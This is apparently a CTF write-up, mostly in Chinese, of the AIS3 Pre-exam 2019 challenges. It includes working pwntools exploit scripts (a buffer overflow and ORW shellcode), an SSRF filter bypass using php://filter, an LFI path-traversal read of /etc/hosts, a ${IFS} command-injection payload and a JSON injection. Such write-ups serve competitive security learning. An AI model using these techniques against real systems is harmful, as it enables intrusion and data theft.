AIS3 Pre-exam 2019
===
Blog version: https://blog.racterub.io/zh-tw/ais3-preexam-2019

# Pwn
## Welcome BOF
執行 binary 後得到下列文字
`👻 They said there need some easy challenges, Okay here is your bof, but you should notice something in ubuntu 18.04.`
在設置好 ubuntu 18.04 然後用 gdb 追了之後發現使用普通 exploit 方式會導致 binary 在 `xmm` 這個 assembly 直接 sigsegv,所以在跳其他函式的 address 前加一個 `ret gadget` 就好了
Payload:
```python
#!/usr/bin/env python
from pwn import *
r = remote('pre-exam-pwn.ais3.org', 10000)
#r = process('./bof')
context(arch='amd64', log_level='debug')
r.sendlineafter('\n', '\x00'*56 + p64(0x0000000000400546) + p64(0x0000000000400687))
r.interactive()
```
Flag: `AIS3{TOO0O0O0O0OO0O0OOo0o0o0o00_EASY}`
## ORW
簡單的 ORW,就直接上 payload
Payload:
```python
#!/usr/bin/env python
#-*- coding: utf-8 -*-
from pwn import *
r = remote('pre-exam-pwn.ais3.org', 10001)
#r = process('./orw')
context(arch='amd64',log_level='debug')
elf = ELF('./orw')
bss = elf.bss()
shellcode = ''
shellcode += asm("xor rsi, rsi")
shellcode += asm("xor rdx, rdx")
shellcode += asm("mov rax, 0x101010101010101")
shellcode += asm("push rax")
shellcode += asm('mov rax, 0x101010101010101 ^ 0x67616c662f77')
shellcode += asm('xor [rsp], rax')
shellcode += asm('mov rax, 0x726f2f656d6f682f')
shellcode += asm('push rax')
shellcode += asm("mov rdi, rsp")
shellcode += asm("mov rax, 0x2")
shellcode += asm("syscall") #sys_open("/home/orw/flag", 0, 0)
shellcode += asm("mov rdi, rax")
shellcode += asm("mov rsi, %s" % hex(bss))
shellcode += asm("mov rdx, 0x30")
shellcode += asm("xor rax, rax")
shellcode += asm("syscall") #sys_read(fd, bss_addr, 0x30)
shellcode += asm("mov rax, 0x1")
shellcode += asm("mov rdi, 0x1")
shellcode += asm("mov rsi, %s" % hex(bss))
shellcode += asm('mov rdx, 0x30')
shellcode += asm("syscall") #sys_write(0x1, bss_addr, 0x30)
r.sendlineafter("\n", shellcode)
raw_input('#')
r.sendlineafter('\n', '\x00'*40 + p64(0x6010a0))
print r.recv()
```
Flag: `AIS3{B4by_sh311c0d1ng_yeeeeeeeeeeeeeeeeeee_:)}`
# Crypto
## Tcash
這題直接爆開就好
題目:
```python
from hashlib import md5,sha256
from secret import FLAG
cand = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890@,- _{}'
md5s = []
sha256s = []
for f in FLAG :
assert f in cand
md5s.append( int(md5(f.encode()).hexdigest(),16)%64 )
sha256s.append( int(sha256(f.encode()).hexdigest(),16)%64 )
# md5s = [41, 63, 46, 51, 6, 26, 42, 50, 44, 33, 29, 50, 27, 28, 30, 17, 31, 19, 46, 50, 33, 45, 26, 26, 29, 31, 52, 33, 1, 45, 31, 22, 50, 50, 50, 50, 50, 31, 22, 50, 44, 26, 44, 49, 50, 49, 26, 45, 31, 30, 22, 44, 30, 31, 17, 50, 50, 50, 31, 43, 52, 50, 53, 31, 30, 17, 26, 31, 46, 41, 44, 26, 31, 52, 50, 30, 31, 26, 39, 31, 46, 33, 27, 1, 42, 50, 31, 30, 12, 26, 27, 52, 31, 30, 12, 31, 46, 26, 27, 14, 50, 31, 22, 52, 33, 31, 41, 50, 46, 31, 22, 23, 41, 31, 53, 26, 21, 31, 33, 30, 31, 19, 39, 51, 33, 30, 39, 51, 12, 58, 60, 31, 41, 33, 53, 31, 3, 17, 50, 31, 51, 26, 29, 52, 31, 33, 22, 26, 31, 41, 51, 54, 41, 29, 52, 31, 19, 23, 33, 30, 44, 26, 27, 38, 8, 50, 29, 15]
# sha256s = [61, 44, 3, 14, 22, 41, 43, 30, 49, 59, 58, 30, 11, 3, 24, 35, 40, 46, 3, 42, 59, 36, 41, 41, 41, 40, 9, 59, 23, 36, 40, 33, 42, 42, 42, 42, 42, 40, 44, 42, 49, 24, 49, 28, 42, 33, 24, 36, 40, 24, 33, 10, 24, 40, 35, 42, 42, 42, 40, 39, 9, 42, 3, 40, 24, 35, 24, 40, 3, 61, 49, 24, 40, 9, 42, 24, 40, 41, 17, 40, 12, 57, 11, 23, 43, 42, 40, 24, 18, 41, 11, 9, 40, 24, 18, 40, 3, 41, 11, 12, 42, 40, 44, 9, 59, 40, 61, 42, 3, 40, 44, 13, 61, 40, 3, 24, 29, 40, 59, 24, 40, 19, 18, 6, 59, 24, 18, 6, 22, 0, 39, 40, 61, 57, 3, 40, 17, 35, 42, 40, 58, 24, 58, 9, 40, 59, 44, 24, 40, 61, 48, 52, 61, 58, 9, 40, 19, 13, 59, 24, 53, 41, 11, 55, 55, 42, 58, 18]
```
Payload:
```python
#!/usr/bin/env python
from hashlib import md5, sha256
cand = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPWRSTUVWXYZ1234567890@,- _{}'
md5s = [41, 63, 46, 51, 6, 26, 42, 50, 44, 33, 29, 50, 27, 28, 30, 17, 31, 19, 46, 50, 33, 45, 26, 26, 29, 31, 52, 33, 1, 45, 31, 22, 50, 50, 50, 50, 50, 31, 22, 50, 44, 26, 44, 49, 50, 49, 26, 45, 31, 30, 22, 44, 30, 31, 17, 50, 50, 50, 31, 43, 52, 50, 53, 31, 30, 17, 26, 31, 46, 41, 44, 26, 31, 52, 50, 30, 31, 26, 39, 31, 46, 33, 27, 1, 42, 50, 31, 30, 12, 26, 27, 52, 31, 30, 12, 31, 46, 26, 27, 14, 50, 31, 22, 52, 33, 31, 41, 50, 46, 31, 22, 23, 41, 31, 53, 26, 21, 31, 33, 30, 31, 19, 39, 51, 33, 30, 39, 51, 12, 58, 60, 31, 41, 33, 53, 31, 3, 17, 50, 31, 51, 26, 29, 52, 31, 33, 22, 26, 31, 41, 51, 54, 41, 29, 52, 31, 19, 23, 33, 30, 44, 26, 27, 38, 8, 50, 29, 15]
sha256s = [61, 44, 3, 14, 22, 41, 43, 30, 49, 59, 58, 30, 11, 3, 24, 35, 40, 46, 3, 42, 59, 36, 41, 41, 41, 40, 9, 59, 23, 36, 40, 33, 42, 42, 42, 42, 42, 40, 44, 42, 49, 24, 49, 28, 42, 33, 24, 36, 40, 24, 33, 10, 24, 40, 35, 42, 42, 42, 40, 39, 9, 42, 3, 40, 24, 35, 24, 40, 3, 61, 49, 24, 40, 9, 42, 24, 40, 41, 17, 40, 12, 57, 11, 23, 43, 42, 40, 24, 18, 41, 11, 9, 40, 24, 18, 40, 3, 41, 11, 12, 42, 40, 44, 9, 59, 40, 61, 42, 3, 40, 44, 13, 61, 40, 3, 24, 29, 40, 59, 24, 40, 19, 18, 6, 59, 24, 18, 6, 22, 0, 39, 40, 61, 57, 3, 40, 17, 35, 42, 40, 58, 24, 58, 9, 40, 59, 44, 24, 40, 61, 48, 52, 61, 58, 9, 40, 19, 13, 59, 24, 53, 41, 11, 55, 55, 42, 58, 18]
flag = ''
for j in range(0, 168):
for i in cand:
print i
i_md5 = int(md5(i.encode()).hexdigest(), 16)%64
i_sha = int(sha256(i.encode()).hexdigest(), 16)%64
if md5s[j] == i_md5 and sha256s[j] == i_sha:
flag += i
break
print("GETFLAG :)")
print flag
```
Flag: `AIS3{0N_May_16th @Sead00g said Heeeee ReMEMBerEd tH4t heee UseD thE SAME set 0f On1iNe to01s to S01Ve Rsa AeS RCA DE5 at T-cat-cup, AnD 7he kEys aRE AlWAys TCat2019Key}`
## RSA202
給了兩組 c, n
```
((p-1) % r)**2 + ((r**5 - 1) % p)**2 == 0
e : 540283027
n1 : r * next_prime(r)
4147205004274785831839429345273175843810008383684281776384156955313063939697851722599048915934550159810838630817611878938608964209420526101408285259660756614160588966196450613960131
n2 : p * q
189499385569262172381048831002627678457833406616949473781611167836895648351112532451760758894923044508366716475548460943196393766620637826332872415510442646680546430198730964714386926052990241201796617017020451667713101333830492208407718631004518421682360782291861821226356182805817583412265318279246843412363933946907203785948691445560941274338686925872683302618016491004951003983008667634680122187498900609531973366891576697127889237270981441848599459412975574704265978641529529466101397272593427889058331942116451739687911633277991689616166740336532002064837594150778620372921356663633832237154225100165980732425950701958080551278623168272993370001609526634867438997949927388057439319287024933300690778630456923952206291
enc : pow(FLAG1, e, n1)
1381530128905366229835031885023981456155250417226615037320326874456088155891241824286394351504686598020807575296495059981196560321402599060324041112306873501644386932506341759897439
enc : pow(FLAG2, e, n2)
140707322639416047698251987988656851624996420612364458417313556975031926928260994620230402819526867049636870782856159979917800265272030239188402699755346671160152231004482205105848708247326346552857503544647373436454812565553362721157746392553427549801642414716902999579402267404659519821644886491693193213805833150640024188210966690387627927718495600119046377641648420252222832577359835288556915259106349242420185375996603494445374731345308813203766747759356938546946526452742432576477822130704132179704998257468524887132514296404150771137601094599098954349732601437456949710340291117976841757532368528686724239467219905422014324065563266276019549591224395046119238324360770424356549059939445801779363429414873857640198066
```
由 `n1 = r * next_prime(r)` 可知 n1 的 |p-q| 極小,故可以用 `Fermat's Factorization method` 來還原 p, q。
得到加密程式的 `r` 之後可以透過推導 `((p-1) % r)**2 + ((r**5 - 1) % p)**2 == 0`,得到 `p`
最後就可以直接解密了
`我是全部都在 ipython 做,所以沒留 script`
Flag: `AIS3{S0me7im3s_I_h4tE_factorDB}`
# Web
## SimpleWindow
這題我不太知道發生什麼事,我只知道我加了一個 proxy 攔 request 之後 flag 就彈出來了 XD
Flag: `AIS3{D0_y0u_kn0w_Serv1ce_W0rker?}`
## Hidden
看原始碼會發現有 `main.019417bd.js` 這個檔案,發現是 `Vue.js`
然後一開始有看到 `flag.js` 的字樣,但是沒用處。
直到看到了一個很像加解密的 function
main.019417bd.js:
```javascript
var r = function() {
return function() {
var r = Array.prototype.slice.call(arguments),
t = r.shift();
return r.reverse().map(function(r, e) {
return String.fromCharCode(r - t - 25 - e)
}).join("")
}(12, 144, 165, 95, 167, 140, 95, 157, 94, 164, 91, 122, 111, 102) + 4..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function(r) {
return String.fromCharCode(r.charCodeAt() + -13)
}).join("") + 1234274547001..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function(r) {
return String.fromCharCode(r.charCodeAt() + -13)
}).join("") + 579..toString(36).toLowerCase() + function() {
var r = Array.prototype.slice.call(arguments),
t = r.shift();
return r.reverse().map(function(r, e) {
return String.fromCharCode(r - t - 44 - e)
}).join("")
}(18, 190, 127, 170, 113)
};
```
然後丟去 devtool 的 console 執行就會有 flag 了
Flag: `AIS3{4r3_y0u_4_fr0n73nd_g33k?}`
## d1v1n9
一開始有個 hint 可以點,然後發現在 `?path` 這個參數可以LFI也可以訪問其他伺服器。
洩漏 `index.php` 之後發現有 `FLAG_HINT`,還有一個 ip 檢查,一個 flag 檢查
index.php:
```php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
// show path of the flag
die($_ENV['FLAG_HINT']);
}
if ($path = @$_GET['path']) {
$path = trim($path);
if (preg_match('/https?:\/\/([^s\/]+)/i', $path, $g)) {
// resolve ip address
$ip = gethostbyname($g[1]);
// no local request
if ($ip == '127.0.0.1' || $ip == '0.0.0.0')
die('Do not request to localhost!');
}
// no flag in path
$path = preg_replace('/flag/i', '', $path);
if ($content = @file_get_contents($path, FALSE, NULL, 0, 1000)) {
// 由於他只讀 1000 bytes 所以無法讀到全部的內容
```
目標就變成先讀到 `FLAG_HINT`,然後看到他檢查 ip 是先用 `gethostbyname` 就可以用 `http://root@127.0.0.1/`用本地端 IP 讀取網頁
詳情請參考橘子大大的 talk: [link](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)
再利用 `php://filter` 來避免被 flag filter 掃到,最後的 `FLAG_HINT` 是 `FLAG_14d65189669f05d206764c9de441474d.txt`,直接訪問就可以得到 flag ,並且提示了 d1v1n6 deeper 這題
Flag: `AIS3{600d_j0b_bu7_7h15_15_n07_7h3_3nd}`
## d1v1n6 deeper
根據 d1v1n6 得到的提示 `Find the other web server in the internal network.`,故猜測是在其他 ip 而不是 port。
利用 LFI 可以讀到 `/etc/hosts`
/etc/hosts:
```
10:40 $ curl http://pre-exam-web.ais3.org:10103/?path=../../../../../etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.22.0.3 b7fba1715fe6
```
發現有 `172.22.0.3` 這一組內部 IP,在手動測試幾次之後會發現事實上有一個 IP `172.22.0.2` server 是 directory lister
觀察了一下似乎是把 GET 參數丟進 bash 裡面跑 `ls`,但是一開始測試一直試不出來,到後面就決定先睡覺明天再說 XDD
隔天再試之後發現可以利用 `';id;'` 就可以進行 command injection,但是如果 URL 有空格會失敗,所以我利用 `${IFS}` 來代替空格
Payload: `';cat${IFS}index.php;'`
Flag: `AIS3{y0u_4r3_4bl3_70_d1v3_d33p3r_n3x7_71m3}`
# Reverse
## Trivia
開 IDA 就有結果了
Flag: `AIS3{This_is_a_reallllllllllly_boariiing_challenge}`
## Tsaibro
兩組點點作為一組,然後逆向就有 flag 了
Flag: `AIS3{y0u_4re_a_b1g_f4n_0f_tsaibro_n0w}`
## HolyGrenade
先給了一個 `pyc` 檔,用 `uncompyle2` 就可以得到原始碼了
de_grenade.py:
```python
# uncompyle6 version 3.3.3
# Python bytecode 3.7 (3394)
# Decompiled from: Python 2.7.12 (default, Nov 12 2018, 14:36:49)
# [GCC 5.4.0 20160609]
# Embedded file name: HolyGrenade.py
# Size of source mod 2**32: 829 bytes
from secret import flag
from hashlib import md5
def OO0o(arg):
arg = bytearray(arg, 'ascii')
for Oo0Ooo in range(0, len(arg), 4):
O0O0OO0O0O0 = arg[Oo0Ooo]
iiiii = arg[(Oo0Ooo + 1)]
ooo0OO = arg[(Oo0Ooo + 2)]
II1 = arg[(Oo0Ooo + 3)]
arg[Oo0Ooo + 2] = II1
arg[Oo0Ooo + 1] = O0O0OO0O0O0
arg[Oo0Ooo + 3] = iiiii
arg[Oo0Ooo] = ooo0OO
return arg.decode('ascii')
flag += '0' * (len(flag) % 4)
for Oo0Ooo in range(0, len(flag), 4):
print(OO0o(md5(bytes(flag[Oo0Ooo:Oo0Ooo + 4])).hexdigest()))
```
並且題目也有給出程式輸出的 hash
flag 每四個字拿去 hash,所以最後我用爆的 (hashd 自己手動慢慢代)
Payload:
```python
#!/usr/bin/env python3
from hashlib import md5
import sys
hashd = "5ae001ebd955475c867617bdb72e7728"
#hashd = "d7939cb11edaa9b1fb05efb4e2946f75"
#hashd = "f1e8fda6c3ff87e43905ea1690624c64"
#hashd = "764d30cb4807c5a870a47b53be6cf662"
#hashd = "9cedd8dee7b5b87838d7a9bed76df8e5"
#hashd = "7d1c09bbf2025facf6bd0fec0ec6a780"
#hashd = "33e4500b205b80e52dd52e796cba8b7d"
alpha = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
def OO0o(arg):
arg = bytearray(arg, 'ascii')
for i in range(0, len(arg), 4):
a = arg[i]
b = arg[(i + 1)]
c = arg[(i + 2)]
d = arg[(i + 3)]
arg[i + 2] = d
arg[i + 1] = a
arg[i + 3] = b
arg[i] = c
return arg.decode('ascii')
#FLAG => AIS3{...}00000.. padding to align 4n
#
#flag += '0' * (len(flag) % 4)
#for i in range(0, len(flag), 4):
for i in alpha:
for k in alpha:
for j in alpha:
for m in alpha[-1]:
test = i+k+j+m
print("testing: ", test)
data = OO0o(md5(bytes(test, "utf-8")).hexdigest())
if data == hashd:
sys.exit()
```
Flag: `AIS3{7here_15_the_k1ll3r_ra661t}`
# Misc
## KcufsJ
如題目名,是 KcufsJ (x
事實上就是 jsfuck ,只不過把 jsfuck 的內容倒過來
利用 linux 的 `rev` 指令,直接把檔案的每一個字都顛倒,再拿去 devtool 執行就好了
Flag: `AIS3{R33v33rs33_JSFUCKKKKKK}`
## Welcome
簽到題
## Are you admin
簡單來說就是 JSONI
Payload:
```
Your name:
a", "is_admin":"yes", "test":{"a":"b
Your age:
"}, "1":"1
```
Flag: `AIS3{RuBy_js0n_i5_s0_w3ird_0_o}`
## Pysh
發現並沒有過濾 `$` 和大小寫,所以可以利用 `$SHELL` 來執行任意指令
Flag: `AIS3{read;$REPLY}`
## Crystal Maze
就....手動硬幹 XDD
Payload:
```python
#!/usr/bin/env python
from pwn import *
r = remote('pre-exam-chals.ais3.org', 10202)
choice = {"1": "left", "2": 'right', '3': 'up', '4': 'down'}
route = [2, 3, 3, 3, 3, 1, 3, 3, 2, 2, 2, 4, 4, 4, 4, 4, 4, 2, 2, 2, 3, 2, 3, 2, 2, 2, 2, 3, 3, 2, 2, 4, 4, 4, 2, 2, 3, 3, 3, 3, 3, 3, 1, 3, 3, 2, 3, 3, 3, 3, 3, 3]
for i in route:
r.sendlineafter('move: ', choice[str(i)])
print r.recv()
```
Flag: 我忘記留了 QQ